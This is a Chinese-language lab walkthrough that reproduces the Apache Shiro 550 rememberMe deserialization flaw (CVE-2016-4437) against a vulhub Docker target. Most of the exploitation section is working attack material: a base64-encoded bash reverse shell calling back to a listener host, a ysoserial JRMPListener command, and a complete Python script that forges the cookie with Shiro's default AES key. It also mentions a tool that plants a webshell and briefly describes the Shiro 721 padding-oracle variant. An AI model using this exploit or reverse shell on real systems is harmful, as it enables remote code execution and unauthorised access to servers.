shiro550反序列化漏洞复现
Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
原理:
勾选了记住我(rememberMe),用户的请求数据包中将会在cookie字段多出一段数据,这一段数据包含了用户的身份信息,且是经过加密的。加密的过程是:用户信息=>序列化=>AES加密(这一步需要用密钥key)=>base64编码=>添加到RememberMe Cookie字段。勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的cookie值进行身份验证,无需登录即可访问。那么显然,服务端进行对cookie进行验证的步骤就是:取出请求包中rememberMe的cookie值 => Base64解码=>AES解密(用到密钥key)=>反序列化。
Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。
该漏洞的特征是在登录的时候response
中会含有rememberMe=deleteMe
漏洞复现
使用vulhub
复现该漏洞
cd vulhub/shiro/CVE-2016-4437/
sudo docker-compose up -d
靶机成功启动
需要使用到一个java
反序列化工具ysoserial
,地址为https://github.com/frohoff/ysoserial
该工具需要java jdk8
的环境,如果在最新的kali
中使用会报错,需要配置jdk 8
的环境变量,这里我使用的是软连接的方式更换,具体步骤如下,
下载jdk8
https://www.oracle.com/hk/java/technologies/javase/javase8-archive-downloads.html
解压,然后进入jdk1.8.0_192/bin
设置软链接,因为懒得配置环境变量
sudo ln -s /home/kali/vulhub/shiro/CVE-2016-4437/jdk1.8.0_192/bin/java8 /usr/bin
准备好工具后,现在开始进行漏洞利用
-
在本机监听
4444
端口
-
准备
反弹shell
的payload
# 格式如下
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMzEuMC4xLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}
# base64编码内容为
bash -i >& /dev/tcp/172.31.0.1/4444 0>&1
- 使用
ysoserial
生成rememberMe
反弹shellpayload
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMzEuMC4xLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}"
接着使用shiro.py
请求本机7777
端口获得rememberMe
反弹shell代码,注意使用python2
运行
python2 shiro.py 192.168.154.138:7777
shiro.py内容如下
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
- 将
rememberMe
复制到cookie
中,需要加入;
发送数据包以后就会获得shell
漏洞利用工具
这里还有其他的漏洞利用工具,例如shiro_attack-2.2.jar
下载地址:https://github.com/j1anFen/shiro_attack/releases/tag/2.2
使用方法很简单,首先输入目标的IP
可以直接执行命令,或者写入木马
写入木马
使用哥斯拉连接
shiro721
后续了解到shiro
还有一个721反序列化漏洞,是基于550
升级后的,升级后需要拥有一个用户凭据
登录成功使用保存的cookie
值,然后升级后的aes加密的key
值不是默认的,所以aes的key
值需要通过通过一些手段获取,使用的是Padding Oracle Attack
,Padding Oracle Attack
攻击可以实现破解AES-CBC加密过程进而实现rememberMe的内容伪造
这个漏洞利用会发送很多请求,并且漏洞利用成功需要很久的时间,大概一小时左右,所以会有大量连接,直接封IP就可以解决漏洞。